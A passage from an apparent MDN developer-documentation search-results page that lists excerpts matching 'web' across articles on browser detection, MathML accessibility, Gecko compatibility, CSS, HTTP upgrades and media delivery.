...r.userAgent. Note that some other browsers such as Safari are reporting (like Gecko) in their user agent strings and can confuse simple tests. Introduction In an ideal world, we could author HTML, XML, CSS and JavaScript and only worry about the W3C and ECMA standards. However, we don't quite live in such a world yet. Due to bugs, incomplete implementations of the standards and legacy browsers,
web developers must be able to determine which browser a visitor is using and provide the appropriate content and scripting code path. Although browser detection is perhaps the most common scripting task that every
web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited. As a member of the Netscape Evangelism team who has spent over a year in...
...ble to determine which browser a visitor is using and provide the appropriate content and scripting code path. Although browser detection is perhaps the most common scripting task that every
web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited. As a member of the Netscape Evangelism team who has spent over a year investigating existing
web content, I can say without a doubt that most compatibility problems found on the
web today are due to a lack of understanding of the standards combined with inadequate and inappropriate browser detection strategies. This article is intended to provide an overview of browser detection strategies and best practices. For more specific Gecko recommendations, please see the Gecko Compatibility Handbo...
...And 27 more matches
MathML Accessibility in Mozilla
essible objects for MathML in bug 920547 and so these can be retrieved by NVDA starting with Gecko 27.0 (Firefox 27.0 / Thunderbird 27.0 / SeaMonkey 2.24). Mozilla and NVDA developers essentially do not have control on how mathematical formulas are read, please contact Design Science for any inquiries. Mac: MathML support is provided by VoiceOver. In bug 1175269 and bug 1001641, we relied on the
WebKit's NSAccessibility MathML tree to expose the main constructions. Hence basic support is available in Gecko 41.0 (Firefox 41.0 / Thunderbird 41.0 / SeaMonkey 2.38) and we are still trying to keep in sync with
WebKit/VoiceOver. Note that VoiceOver is proprietary so we do not have control on Improvements to MathML accessibility in VoiceOver. Linux: MathML support is provided by the development v...
...At the moment, it is recommended to use a Nightly build to ensure that the accessible tree expected by Orca is correctly exposed. ...
...__ x+2 x plus 2 x + y ab __________ a over b __________ fraction start, a over b, end of fraction fraction start. a over b. fraction end. a numerator b denominator fraction ab\frac a b ab __________ a over b __________ fraction start, a over b, end of fraction. See
WebKit's bug 146454 fraction without bar, start. a over b. fraction end. a numerator b denominator fraction without bar ab __________ a sub b __________ a, subscript b a. subscript b a base b subscript scripted ab __________ a raised to the b __________ a, superscript b a. superscript b a bas...
...And 26 more matches
List of Mozilla-Based Applications - Archive of obsolete content
n Linux version AdWatch content management system Uses XUL and XPCOM AICPCU/IIA exam app exam delivery software Aliwal Geocoder geocoding & data on a map Amarok XUL remote remote control for AmaroK music player Ample SDK Javascript GUI-framework AOL Instant Messenger IM client Uses NSS Apache
web server Doesn't use NSS by default, but can be configured to use NSS with mod_nss SSL module ApicaWatch site performance monitoring tool Uses Firefox as part of its monitoring package Astyle CSS editor editing tool Atmail
webmail client Aviva for Java mainframe connectivity product Uses Mozilla Rhino Babelgum Internet TV ...
...figured to use NSS with mod_nss SSL module ApicaWatch site performance monitoring tool Uses Firefox as part of its monitoring package Astyle CSS editor editing tool Atmail
webmail client Aviva for Java mainframe connectivity product Uses Mozilla Rhino Babelgum Internet TV service Basilisk pre-Servo XUL-based
web browser Uses most of the Firefox 55 source code Batik Java-based toolkit Uses Mozilla Rhino BitBox security focused browser Seemingly based on Firefox Blackbird browser for African American community BlueGriffon wysiwyg editor Next generation version of Composer Buzzbird Twitter client Built on XULRunner Camin...
... Next generation version of Composer Buzzbird Twitter client Built on XULRunner Camino browser 2.5m downloads and ~400,000 active users ... ...
...And 25 more matches
Index - Developer guides
Found 43 pages: # Page Tags and summary 1 Developer guides API, Guide, Landing,
Web These articles provide how-to information to help make use of specific
web technologies and APIs. 2 Ajax AJAX, DOM, JSON, JavaScript, References, XMLHttpRequest Asynchronous JavaScript and XML, while not a technology in itself, is a term coined in 2005 by Jesse James Garrett, that describes a "new" approach to using a number of existing technologies together 3 Community AJAX If you know of useful mailing lists, newsgroups, forums, or other communities related to AJAX, please link to them here. ...
...nd XML, while not a technology in itself, is a term coined in 2005 by Jesse James Garrett, that describes a "new" approach to using a number of existing technologies together 3 Community AJAX If you know of useful mailing lists, newsgroups, forums, or other communities related to AJAX, please link to them here. 4 Getting Started AJAX, API, Advanced, JavaScript,
WebMechanics, XMLHttpRequest This article guides you through the AJAX basics and gives you some simple hands-on examples to get you started. 5 WAI ARIA Live Regions/API Support AJAX, Accessibility Firefox 3 contains important improvements to the way the Mozilla engine exposes live changes in a document. 6 Audio and Video Delivery Audio, Guide, HTML, HTML5, Me...
...d audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same. Currently, to support all browsers we need to specify two formats, although with the adoption of MP3 and MP4 formats in Firefox and Opera, this is changing fast. You can find compatibility information in the Guide to media types and formats on the
web. 7 Adding captions and subtitles to HTML5 video HTML5, Media,
WebVTT, captions, subtitles, track In other articles we looked at how to build a cross browser video player using the HTMLMediaElement and Window.fullScreen APIs, and also at how to style the player. This article will take the same player and show how to add captions and subtitles to it, using the
WebVTT format and...
...And 25 more matches
Finishing the Component
le owners responsible for the interfaces you are interested in using. Copying Interfaces into Your Build Environment To get and implement interfaces that are not part of Gecko in your component, simply create a new directory in the Gecko SDK named unfrozen. Copy the headers and IDL files that you need from the content/base/public source directory of the Gecko build into this new directory. ...
...interfaces that are not part of Gecko in your component, simply create a new directory in the Gecko SDK named unfrozen. Copy the headers and IDL files that you need from the content/base/public source directory of the Gecko build into this new directory. (For
WebLock, all you need are the headers for nsIContentPolicy and the nsIContentPolicy.idl.) Then, using the same steps you used to create the
Weblock.h, create a header from this IDL file using the xpidl compiler. ...
...d IDL files that you need from the content/base/public source directory of the Gecko build into this new directory. (For
WebLock, all you need are the headers for nsIContentPolicy and the nsIContentPolicy.idl.) Then, using the same steps you used to create the
Weblock.h, create a header from this IDL file using the xpidl compiler. Once you have these interface and header files, you can modify the
WebLock class to implement the nsIContentPolicy interface. The
Weblock class will then support four interfaces: nsISupports, nsIObserver, nsIContentPolicy, and i
Weblock. ...
...And 24 more matches
Gecko Compatibility Handbook - Archive of obsolete content
** Notes ** - The Solution Quick Reference needs more attention. - I'm also looking for a way to organize all that information. - Some inline examples were removed because of technical limitations. They are actually replaced by ''-(EXAMPLE REMOVED)-'' The goal of this handbook is to help you update
websites to work with standards-based browsers and properly detect Gecko. If you're new to standards, you may find Using
Web Standards in Your
Web Pages a helpful introduction. Gecko is an embeddable browser, developed as part of the Mozilla open source project and based on W3 Standards rather than the proprietary approaches of the past. Adhering to
web standards simplifies cross-browser
web development and enables accessibility. 4.x vs. Gecko Since 1997, much of the
Web's content has b...
...upport for a large part of the HTML 3.2 standard and basic JavaScript. While they support the CSS 1 standard to some degree, the implementations are not complete and have non-standard features added. Neither Internet Explorer 4 or Netscape Navigator 4 support the W3 DOM. Instead, each browser supports its own proprietary API for manipulating the content, style and position of HTML Elements in a
web page. In addition, Internet Explorer 4 and Netscape Navigator 4 use completely different methods of embedding third-party software into the browser. Gecko is a cross-platform browser engine, compatible with a number of Windows versions including Windows XP, as well as Mac and Linux. Because of Gecko's cross-platform nature, functionality is generally very much the same on different platforms u...
...ng Windows XP, as well as Mac and Linux. Because of Gecko's cross-platform nature, functionality is generally very much the same on different platforms unlike Internet Explorer for Mac and IE for Windows, which are very different programs and so may behave quite differently from each other. Quick Compatibility Test If your site uses Netscape 4.x and Microsoft proprietary technologies, see Using
Web Standards in Your
Web Pages for a quick tutorial on standards. This compatibility test will be most beneficial to sites using simple code or that have updated to support standards. Set Up Browsers For Testing The various Gecko-based browsers do not always contain Netscape in the user-agent string. Thus it's critical to verify that you are properly detecting browsers such as AOL for macOS. You ...
...And 23 more matches
Accessibility documentation index - Accessibility
This document provides a list of links to all accessibility articles on the Mozilla Developer Network. Found 105 pages: # Page Tags and summary 1 Accessibility Accessibility, Landing Accessibility (often abbreviated to A11y--as in "a" then 11 characters then "y") in
Web development means enabling as many people as possible to use
Web sites, even when those people's abilities are limited in some way. 2 ARIA ARIA, Accessibility, HTML Accessible Rich Internet Applications (ARIA) is a set of attributes that define ways to make
web content and
web applications (especially those developed with JavaScript) more accessible to people with disabilities. It supplements HTML so that interactions and widgets commonly used in applications ...
...rrectness, using tools such as MSAA Inspect. This must be done in order to determine where to file a bug (browser or AT). 5 ARIA annotations ARIA, Accessibility, WAI-ARIA, annotations, comments, details, suggestions WAI-ARIA version 1.3 sees the addition of a set of new features, collectively known as ARIA annotations, which allow the creation of accessible annotations inside
web documents. Typical use cases include edit suggestions (i.e. an addition and/or deletion in an editable document), and comments (e.g. an editorial comment related to a part of a document under review). 6 ARIA guides ARIA Accessible Rich Internet Applications (ARIA) defines ways to make the
Web more accessible to people with disabilities. A few guidelines to follow that ensure ...
... visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. ARIA live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies. 8 Forms ARIA, Accessibility The following pages provide various techniques for improving the accessibility of
web forms: 9 Alerts ARIA, Accessibility, Forms,
Web You have a form -- a contact form, for example -- that you want to put some accessible error checking into. Examples of common problems include e-mail addresses which are not valid, or a name field which does not contain at least a first name or a surname. 10 Basic form hints ARIA, Accessibility, Forms When ...
...And 22 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
This article provides a set of mixins for those who want to mess around with flexbox using the native support of current browsers. This set uses: Fallbacks using 2009 'box' syntax (FF and Older
WebKit) and prefixed syntaxes (IE10,
WebKit browsers without flex wrapping) Final standards syntax (FF, Safari, Chrome, IE11+, Edge, Opera) This was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ With help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ A Complete Guide to Flexbox | CSS-Tricks Visual Guide to CSS3 Flexbox: Flexbox Playground | Note: Mixins are not currently supported natively in browsers. Instead, you wil...
...ues used below can be written in pure CSS instead, if preferred. Flexbox containers Using the display property's flex value causes an element to generate a block-level flex container box. The inline-flex value causes an element to generate an inline-level flex container box. ...
...tead, if preferred. Flexbox containers Using the display property's flex value causes an element to generate a block-level flex container box. The inline-flex value causes an element to generate an inline-level flex container box. ...
...And 21 more matches
Audio and Video Delivery - Developer guides
We can deliver audio and video on the
web in a number of ways, ranging from 'static' media files to adaptive live streams. This article is intended as a starting point for exploring the various delivery mechanisms of
web based media and compatibility with popular browsers. The Audio and Video Elements Whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same. Currently, to support all browsers we need to specify two formats, although with the adoption of MP3 and MP4 formats in Firefox and Opera, this is changing fast. You can find compatibility information in the Guide to media types and formats on the
web. To deliver video and audio, the general wor...
...possible for smooth playback. Note: The preload attribute may be ignored by some mobile browsers. ...
...h playback. Note: The preload attribute may be ignored by some mobile browsers. ...
...And 21 more matches
Browser detection using the user agent - HTTP
There are ways to develop your
website to progressively enhance itself based on the availability of features rather than by targeting specific browsers. But browsers and standards are not perfect, and there are still some edge cases where detecting the browser is needed. Using the user agent to detect the browser looks simple, but doing it well is, in fact, a very hard problem. This document will guide you in doing this as correctly as possible. It's worth re-iterating: it's very rarely a good idea to use user agent sniffing. ...
...o work around a specific bug in some version of a browser? Look, or ask, in specialized forums: you're unlikely to be the first to hit this problem. Also, experts, or simply people with another point of view, can give you ideas for working around the bug. If the problem seems uncommon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (Mozilla;
WebKit; Blink; Opera). Browser makers do pay attention to bug reports, and the analysis may hint about other workarounds for the bug. Are you trying to check for the existence of a specific feature? Your site needs to use a specific
Web feature that some browsers don't yet support, and you want to send those users to an older
Web site with fewer features but that you know will work. This is the wor...
...t. For example, in the above code snippets, using lookbehind in short-regexp notation (e.g. /reg/igm) will cause a parser error in unsupported browsers. Thus, in the above example, you would use new RegExp("(?<=look_behind_stuff)"); instead of /(?<=look_behind_stuff)/, even in the lookbehind supported section of your code. Progressive enhancement This design technique involves developing your
Web site in 'layers', using a bottom-up approach, starting with a simpler layer and improving the capabilities of the site in successive layers, each using more features. Graceful degradation This is a top-down approach in which you build the best possible site using all the features you want, then tweak it to make it work on older browsers. This can be harder to do, and less effective, than progre...
...And 20 more matches
BundleLibrary - Archive of obsolete content
Note: These bundles have not be tested with the latest version of Prism and probably won't run. We are working on a new bundle library compatible with the current Prism version and welcome any contributions from the developer community. ...
... Note: These bundles have not be tested with the latest version of Prism and probably won't run. We are working on a new bundle library compatible with the current Prism version and welcome any contributions from the developer community. ...
... Note: These bundles have not be tested with the latest version of Prism and probably won't run. We are working on a new bundle library compatible with the current Prism version and welcome any contributions from the developer community. ...
...And 19 more matches
Event reference
offline The browser has lost access to the network. Focus events Event Name Fired When focus An element has received focus (does not bubble). blur An element has lost focus (does not bubble). focusin An element is about to receive focus (does bubble). focusout An element is about to lose focus (does bubble).
WebSocket events Event Name Fired When open A
WebSocket connection has been established. message A message is received through a
WebSocket. error A
WebSocket connection has been closed with prejudice (some data couldn't be sent for example). close A
WebSocket connection has been closed. Session History events Event ...
...Each event is listed along with the interface representing the object sent to recipients of the event (so you can find information about what data is provided with each event) as well as a link to the specification or specifications that define the event. Event Name Event Type Specification Fired when... abort ...
...ioncancel AnimationEvent CSS Animations A CSS animation has aborted. animationend AnimationEvent CSS Animations A CSS animation has completed. animationiteration AnimationEvent CSS Animations A CSS animation is repeated. animationstart AnimationEvent CSS Animations A CSS animation has started. appinstalled Event
Web App Manifest A
web application is successfully installed as a progressive
web app. audioprocess AudioProcessingEvent
Web Audio APIThe definition of 'audioprocess' in that specification. The input buffer of a ScriptProcessorNode is ready to be processed. audioend Event
Web Speech API The user agent has finished capturing audio for speech recognition. ...
...And 19 more matches
Index - Game development
New technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant
web browser. 2 Anatomy of a video game Games, JavaScript, Main Loop, requestAnimationFrame I want to be clear that any of the above, or none of them, could be best for your game. ...
... Found 74 pages: # Page Tags and summary 1 Game development Apps, Game Development, Gamedev, Games, HTML5 Games, JavaScript Games,
Web Gaming is one of the most popular computer activities. New technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant
web browser. 2 Anatomy of a video game Games, JavaScript, Main Loop, requestAnimationFrame I want to be clear that any of the above, or none of them, could be best for your game. The correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. The concern is mostly with switching to another option. Fortunately, I do not have any experience with this, but I have...
... be clear that any of the above, or none of them, could be best for your game. The correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. The concern is mostly with switching to another option. Fortunately, I do not have any experience with this, but I have heard it is an excruciating game of Whack-a-Mole. 3 Examples Demos, Example, Games,
Web This page lists a number of impressive
web technology demos for you to get inspiration from, and generally have fun with. A testament to what can be done with JavaScript,
WebGL, and related technologies. 4 Index Meta Found 74 pages: 5 Introduction to HTML5 Game Development (summary) Firefox OS, Games, HTML5, Mobile Games built with HTML5 work on sma...
...And 18 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
ing language ever designed is ideal for specifying the behavior of your Interface widgets. Where speed is the foremost consideration, we provide C++ libraries with multi-language interfaces for comprehensive, performant access to networking, filesystem, content, rendering, and much more. What this means to you as the developer is this: you can take advantage of skills you already have with XML or
web technologies to design and implement anything from a simple text editor to a comprehensive IDE - complete with all of the interface widgets that you would find in virtually any major application framework. Another benefit of this standards-based approach to UI development is that your application is cross-platform "out of the box". Imagine not having to re-write your application 3 times, or not s...
...ons of images and CSS which can augment or replace your current UI elements. XUL provides an excellent answer for organizations with heterogeneous computing environments. Customized XUL applications with significant business logic can be written once, and used on the range of platforms that exist within the organization. In addition, if the organization maintains sophisticated, interactive
websites, it will already possess a wealth of technical expertise that will be relevant for creating XUL applications. In addition to the technologies already mentioned, we go even further by allowing you to even create your own custom interface widgets. Don't feel limited by the widgets that the framework already contains! XBL (eXtensible Binding Language) allows you to expand your library of interf...
...nderlying application logic without having to rewrite the higher level code. Our platform also can take advantage of other internet standards such as XSLT and RDF. RDF, a core element to the framework, allows you to define dynamic elements in your UI (elements that may change after you have completed the application, such as a "history" menu item). XSLT could be used to translate information from
Web Services, RSS, SOAP, or other XML-based languages and convert them into a form that you might display in your user interface. The Gecko Rendering Engine Gecko is the revolutionary rendering engine that offers advanced features for Internet browsing anywhere across applications, computing platforms and devices. This innovation in browser technology offers small size, speed and industry leading st...
...And 17 more matches
min-width - CSS: Cascading Style Sheets
sion 1)The definition of 'min-width' in that specification. Recommendation Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...able elements.IE Full support 7Opera Full support 4Notes Full support 4Notes Notes CSS 2.1 leaves the behavior of min-width with table undefined. Opera supports applying min-width to table elements.Safari Full support 1
WebView Android Full support 4.4Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes CSS 2.1 leaves the behavior of min-width with table undefined. Firefox supports applying min-width...
...ntil the value was removed), used auto as the initial value for min-width.IE No support NoOpera Full support 12.1Notes Full support 12.1Notes Notes Opera uses auto as the initial value for min-width.Safari No support No
WebView Android Full support 37Notes Full support 37Notes Notes Chrome uses auto as the initial value for min-width.Chrome Android Full support 25Notes Full support 25Notes Notes Chrome uses auto as the initial value for ...
...And 17 more matches
Protocol upgrade mechanism - HTTP
protocol provides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the Upgrade header field. This mechanism is optional; it cannot be used to insist on a protocol change. Implementations can choose not to take advantage of an upgrade even if they support the new protocol, and in practice, this mechanism is used mostly to bootstrap a
WebSockets connection. Note also that HTTP/2 explicitly disallows the use of this mechanism; it is specific to HTTP/1.1. Upgrading HTTP/1.1 Connections The Upgrade header field is used by clients to invite the server to switch to one of the listed protocols, in descending preference order. Because Upgrade is a hop-by-hop header, it also needs to be listed in the Connection header field. This mean...
...rotocols, in descending preference order. Because Upgrade is a hop-by-hop header, it also needs to be listed in the Connection header field. This means that a typical request that includes Upgrade would look something like: GET /index.html HTTP/1.1 Host: www.example.com Connection: upgrade Upgrade: example/1, foo/2 Other headers may be required depending on the requested protocol; for example,
WebSocket upgrades allow additional headers to configure details about the
WebSocket connection as well as to offer a degree of security in opening the connection. See Upgrading to a
WebSocket connection for more details. If the server decides to upgrade the connection, it sends back a 101 Switching Protocols response status with an Upgrade header that specifies the protocol(s) being switched to. If...
...an begin speaking the new protocol, performing any additional protocol-specific handshakes as necessary. Effectively, the connection becomes a two-way pipe as soon as the upgraded response is complete, and the request that initiated the upgrade can be completed over the new protocol. Common uses for this mechanism Here we look at the most common use cases for the Upgrade header. ...
...And 17 more matches
Authoring MathML - MathML
This page explains how to write mathematics using the MathML language. Just like HTML, MathML is described with tags and attributes. HTML becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, WYSIWYG editors and other Content Management Systems to help writing
Web pages. Mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. As a consequence, good MathML authoring tools are more important and we describe some tools below. In particular, the Mozilla MathML team has been developing TeXZilla, a Javascript Unicode LaTeX-to-MathML converter that is intended to be used in many scenarios described here. Of c...
...Mozilla MathML team has been developing TeXZilla, a Javascript Unicode LaTeX-to-MathML converter that is intended to be used in many scenarios described here. Of course, the list is by no means exhaustive and you are invited to check out the W3C MathML software list where you can find various other tools. Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual
Web features like CSS, DOM, Javascript or SVG. This is out of the scope of this document but anyone with basic knowledge of
Web languages will easily be able to mix these features with MathML. Check out our demos and MathML references for more details. Using MathML MathML in HTML pages You can use Presentation MathML inside HTML5 documents: <!DOCTYPE html> <html> <head> <title>MathML in HTML5</t...
....innerHTML = "<math><mspace height='23px' width='77px'/></math>"; document.body.appendChild(div); box = div.firstChild.firstChild.getBoundingClientRect(); document.body.removeChild(div); return Math.abs(box.height - 23) <= 1 && Math.abs(box.width - 77) <= 1; } Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and
WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version: var ua = navigator.userAgent; var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1; var is
WebKit = ua.indexOf('Apple
WebKit') > -1 && ua.indexOf('Chrome') === -1; Mathematical fonts In order to get a good layout or to allow different style, ...
...And 16 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
ge: MathML Version 2.0 Extensible Markup Language (XML): XML 1.0, Namespaces in XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML XSL Transformations: XSLT 1.0 XML Path Language: XPath 1.0 Resource Description Framework: RDF Simple Object Access Protocol: SOAP 1.1 ECMA-262, revision 3 (JavaScript 1.5): ECMA-262 General cross-browser coding tips Even though
Web standards do exist, different browsers behave differently (in fact, the same browser may behave differently depending on the platform). Many browsers, such as Internet Explorer, also support pre-W3C APIs and have never added extensive support for the W3C-compliant ones. Before I go into the differences between Mozilla and Internet Explorer, I'll cover some basic ways you can make a
Web applicati...
..., you can often find multiple if() else() blocks throughout the code to differentiate between the browsers. The following code shows blocks designated for Internet Explorer: . . . var elm; if (ns4) elm = document.layers["myID"]; else if (ie4) elm = document.all["myID"] The above code isn't extensible, so if you want it to support a new browser, you must update these blocks throughout the
Web application. The easiest way to eliminate the need to recode for a new browser is to abstract out functionality. Rather than multiple if() else() blocks, you increase efficiency by taking common tasks and abstracting them out into their own functions. Not only does this make the code easier to read, it simplifies adding support for new clients: var elm = getElmById("myID"); function getElmById...
...e value of the alt attribute as a tooltip's content. The latest W3C HTML specification created the title attribute, which is meant to contain a detailed description of the link. Modern browsers will use the title attribute to display tooltips, and Mozilla only supports showing tooltips for that attribute and not the alt attribute. Entities HTML markup can contain several entities, which the W3C
web standards body has defined. You can reference entities through their numerical or character reference. For example, you can reference the non-breaking space character with   or with its equivalent character reference . Some older browsers, such as Internet Explorer, had such quirks as allowing you to use entities by replacing the ; (semi-colon) character at the end with regular text c...
...And 15 more matches
Embedding Tips
tings, creating new windows, locating files, displaying prompt or password dialog boxes and so on. Embedders may wish to override some of the default service implementations with their own. For example, the default prompt service uses XUL to render prompt dialogs and embedders may wish to render them in a way more appropriate for their application and platform.. How do I load a page? Get thensI
WebNavigation interface on your
webbrowser and call the loadURI method with the appropriate URI and flags. This interface also has methods for reloading, stopping a load and going back and forward in the history. How do I block a load? Implement the nsI
WebProgressListener interface and register it with the appropriate
web browser object via the nsI
WebBrowser::add
WebBrowserListener() method. Use the...
...Watch for changes in nsIURIContentListener::OnStartURIOpen(). You can abort the URI load at this point if you don't want it to proceed. ...
...Watch for changes in nsIURIContentListener::OnStartURIOpen(). You can abort the URI load at this point if you don't want it to proceed. ...
...And 15 more matches
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
Dynamic Adaptive Streaming over HTTP (DASH) is an adaptive streaming protocol. This means that it allows for a video stream to switch between bit rates on the basis of network performance, in order to keep a video playing. Browser Support Firefox 21 includes an implementation of DASH for HTML5
WebM video which is turned off by default. It can be enabled via "about:config" and the "media.dash.enabled" preference. Firefox 23 removed support for DASH for HTML5
WebM video. ...
...rned off by default. It can be enabled via "about:config" and the "media.dash.enabled" preference. Firefox 23 removed support for DASH for HTML5
WebM video. It will be replaced by an implementation of the Media Source Extensions API which will allow support for DASH via Javascript libraries such as dash.js. See bug 778617 for details. Using DASH - Server Side First you'll need to convert your
WebM video to a DASH manifest with the accompanying video files in various bit rates. To start with you'll only need the ffpmeg program from ffmpeg.org, with libvpx and libvorbis support for
WebM video and audio, at least version 2.5 (probably; this was tested ith 3.2.5). 1. Use your existing
WebM file to create one audio file and multiple video files. For example: The file in.video can be any con...
...support for
WebM video and audio, at least version 2.5 (probably; this was tested ith 3.2.5). 1. Use your existing
WebM file to create one audio file and multiple video files. ...
...And 15 more matches
<textarea> - HTML: Hypertext Markup Language
Default content entered between the opening and closing tags. <textarea> does not support the value attribute. The <textarea> element also accepts several attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required. Attributes This element includes the global attributes. autocapitalize This is a non-standard attribute supported by
WebKit on iOS (therefore nearly all browsers running on iOS, including Safari, Firefox, and Chrome), which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. The non-deprecated values are available in iOS 5 and later. Possible values are: none: Completely disables automatic capitalization. sentences: Automatically capitalize the firs...
... HTML 4.01 SpecificationThe definition of '<textarea>' in that specification. Recommendation Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ajor browsers place the insertion point at the beginning of the text.Notes A default background-image gradient is applied to all <textarea> elements, which can be disabled using background-image: none.IE Full support YesOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesNotes Full support YesNotes Notes Before Firefox 6, when a <textarea> was focused, the insertion point was placed at the end of...
...And 15 more matches
CSUN Firefox Materials
Firefox 1.5, Beyond the Status Quo "...Firefox is a great little browser. It's a quick download, occupies very little disk space, and has a clean, no-nonsense interface." - PC Magazine Firefox 1.5 is a fast, free, standards compliant
web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the
web. ...
...ery little disk space, and has a clean, no-nonsense interface." - PC Magazine Firefox 1.5 is a fast, free, standards compliant
web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the
web. In addition to winning major awards such as PC World Product of the Year, Firefox has attracted a huge following among savvy users who simply care enough about their
web browsing experience to download a new piece of software.
Websites such as online magazines with sophisticated audiences are now reporting upwards of 25% Firefox usage. Why do the most discerning users switch to Firefox? Because Firefox rethinks the
web, and does away with many of the common annoyances that cause browsing to be difficult for ordinary people. Firefox's "WWW for everyone" philosophy...
...The simple, uncluttered user interface is simply more pleasant. As a result, nearly everyone who tries Firefox finds themselves hooked.. ...
...And 14 more matches
Box-shadow generator - CSS: Cascading Style Sheets
data-topic="element" data-name="element" data-prop="width height background-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="content=[""] position=[absolute] width height top left z-index background-color box-shadow transform -
webkit-transform -ms-transform"> </div> <div class="output" data-topic="after" data-name="element:after" data-prop="content=[""] position=[absolute] width height top left z-index background-color box-shadow transform -
webkit-transform -ms-transform"> </div> </div> </div> <...
...ius: 3px; position: relative; top: -3px; left: 0%; } .ui-slider-btn-set { width: 25px; background-color: #2C9FC9; border-radius: 3px; color: #FFF; font-weight: bold; text-align: center; } .ui-slider-btn-set:hover { background-color: #379B4A; cursor: pointer; } .ui-slider-input > input { margin: 0 10px; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; } /* * UI Button */ /* Checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "Segoe UI", Arial, Helvetica, sans-serif; line-height: 1.5em; color: #FFF; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > lab...
...10px; } .ui-checkbox > label:hover { cursor: pointer; } .ui-checkbox > input:checked + label { background-image: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379B4A; } /* * BOX SHADOW GENERATOR TOOL */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "Segoe UI", Arial, Helvetica, sans-serif; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; } #container { width: 100%; padding: 2px; -moz-box-sizing: border-box; -
webkit-box-sizing: border-box; box-sizing: border-box; } /* container with shadows stacks */ #stack_container { height: 400px; overflow: hidden; position: relative; border: 1px solid #...
...And 14 more matches
Firefox user agent string reference - HTTP
: Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion Mozilla/5.0 is the general token that says the browser is Mozilla compatible, and is common to almost every browser today. platform describes the native platform the browser is running on (e.g. Windows, Mac, Linux or Android), and whether or not it's a mobile phone. Firefox OS phones simply say "Mobile"; the
web is the platform. Note that platform can consist of multiple "; "-separated tokens. See below for further details and examples. Though fixed in Firefox 69, previous 32-bit versions of Firefox running on 64-bit processors would report that the system is using a 32-bit CPU. rv:geckoversion indicates the release version of Gecko (such as "17.0"). In recent browsers, geckoversion is the sa...
...ppversion Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion appname/appversion appname/appversion indicates the application name and version. For instance, this could be "Camino/2.1.1", or "SeaMonkey/2.7.1". Firefox/firefoxversion is an optional compatibility token that some Gecko-based browsers may choose to incorporate, to achieve maximum compatibility with
websites that expect Firefox. firefoxversion will generally represent the equivalent Firefox release corresponding to the given Gecko version. Some Gecko-based browsers may not opt into using this token; for this reason, sniffers should be looking for Gecko -- not Firefox! Whether this token appears is controlled by the "general.useragent.compatMode.firefox" boolean pref. Mobile and Tablet indica...
...hen Firefox ships on other phone/tablet operating systems or Android is used for laptops. Also, please use touch detection to find touch devices rather than looking for "Mobi" or "Tablet", since there may be touch devices which are not tablets. Firefox OS devices identify themselves without any operating system indication; for example: "Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0". The
web is the platform. Windows Windows user agents have the following variations, where x.y is the Windows NT version (for instance, Windows NT 6.1). Windows version Gecko user agent string Windows NT on x86 CPU Mozilla/5.0 (Windows NT x.y; rv:10.0) Gecko/20100101 Firefox/10.0 Windows NT on x64 CPU Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/201001...
...And 14 more matches
Bundles - Archive of obsolete content
This folder is located in the Application Data folder of the user's home directory on Windows, in the ~/.
webapps directory on Linux and under ~/Library on OS X. Since this folder maybe be located in a directory that requires elevated privileges, the
web application should not write data to it. The application profile directory can be used instead for this purpose. ...
...This folder is located in the Application Data folder of the user's home directory on Windows, in the ~/.
